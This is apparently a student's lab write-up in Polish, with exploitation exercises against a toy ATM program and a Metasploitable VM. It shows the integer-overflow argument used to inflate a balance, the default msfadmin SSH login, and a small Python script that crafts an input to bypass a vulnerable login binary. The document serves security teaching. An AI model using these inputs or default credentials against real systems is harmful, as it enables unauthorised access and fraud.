

311192 Ciszewski Jakub

1 zadanie bankomat – znaleźć taką liczbę żeby po odjęciu od 100 dawała wynik 1 000 000 (Integer overflow):

```
kuba@Harnas:/mnt/c/Work/lab1ochronadanych/LAB12$ ./a.out 1234 4293967396
```

PIN Accepted

Deposit:

100BTC - -999900BTC = 1000000BTC

2 zadanie login –

```
Windows PowerShell
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\jakub> ssh msfadmin@192.168.56.101
ssh: connect to host 192.168.56.101 port 22: Connection timed out
PS C:\Users\jakub> ssh msfadmin@192.168.56.101
PS C:\Users\jakub> ssh msfadmin@192.168.56.101
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.101' (RSA) to the list of known hosts.
msfadmin@192.168.56.101's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Jan  8 12:34:32 2023
msfadmin@metasploitable:~$ msfadmin
-bash: msfadmin: command not found
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ |
```

Stworzyłem skrypt do napisania char od ascii 1:

```
if __name__ == "__main__":
    a = "12345678"
    a += chr(1)
    print(a)
    f = open("file.txt", "w")
    f.write(a)
    f.close()
```

Z VM:

```
msfadmin@metasploitable:~/c$ ./login `cat file.txt`
```

TAK

W sumie to zadanie było chyba najtrudniejsze ze wszystkich...

Z wyrazami szacunku,

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